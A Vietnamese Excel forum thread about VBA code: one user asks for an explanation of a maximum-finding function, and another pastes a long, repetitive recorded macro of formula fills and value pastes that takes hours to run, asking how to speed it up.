Chuyên đề giải đáp những thắc mắc về code VBA

maytinhvp01 · 31/7/13

Mình muốn nhờ giải thich câu lệnh " If Ran.Cells(d, c) > max Then max = Ran.Cells(d, c) "
trong ví du:
Public Function LonNhat(Ran As Range)
Dim max As Double, v As Integer, d As Integer, c As Integer
max = Ran.Cells(1, 1)
For d = 1 To Ran.Rows.Count
For c = 1 To Ran.Columns.Count
If Ran.Cells(d, c) > max Then max = Ran.Cells(d, c)
Next c
Next d
v = Tim(max, Ran)
LonNhat = max
End Function
-------------------------------------------------------
[INFO1]Thông báo:
Vì topic này:
http://www.giaiphapexcel.com/forum/...ải-thích-các-code-đề-nghị-các-bạn-gửi-vào-đây
đã quá dài nên BQT đóng lại.
Nay tôi mở topic mới với cùng chủ đề: GIẢI THÍCH NHỮNG THẮC MẮC VỀ CODE
Các bạn nếu có nhu cầu giải thích code, vui lòng post tại đây nhé
NDU96081631
[/INFO1]

vaioz138gg · 11/11/20

Nhờ các cao nhân chỉnh hộ cái file này giúp với, mình để thế này chạy mà cod chạy hết 3-4h đồng hồ. Có cách nào rút gọn lại để chạy nhanh hơn ko, vì dữ liệu nhiều quá ạ
' VaioY Macro
' Vaio
'
' Keyboard Shortcut: Ctrl+Shift+Y
'
Sheets("HN2").Select
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R6C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19686").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R7C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19687").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R8C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19688").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R9C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19689").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R10C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19690").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R11C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19691").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R12C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19692").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R13C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19693").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R14C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19694").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R15C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19695").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R16C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19696").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R17C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19697").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R18C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19698").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R19C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19699").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R20C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19700").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R21C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19701").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R22C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19702").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R23C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19703").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R24C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19704").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R25C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19705").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R26C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19706").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R27C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19707").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R28C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19708").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R29C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19709").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R30C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19710").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R31C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19711").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R32C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19712").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R33C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19713").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R34C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19714").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R35C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19715").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R36C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19716").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R37C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19717").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R38C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19718").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R39C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19719").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R40C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19720").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R41C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19721").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R42C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19722").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R43C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19723").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R44C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19724").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R45C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19725").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R46C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19726").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R47C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19727").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R48C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19728").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R49C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19729").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R50C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19730").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R51C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19731").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R52C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19732").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R53C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19733").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R54C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19734").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R55C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19735").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R56C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19736").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R57C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19737").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
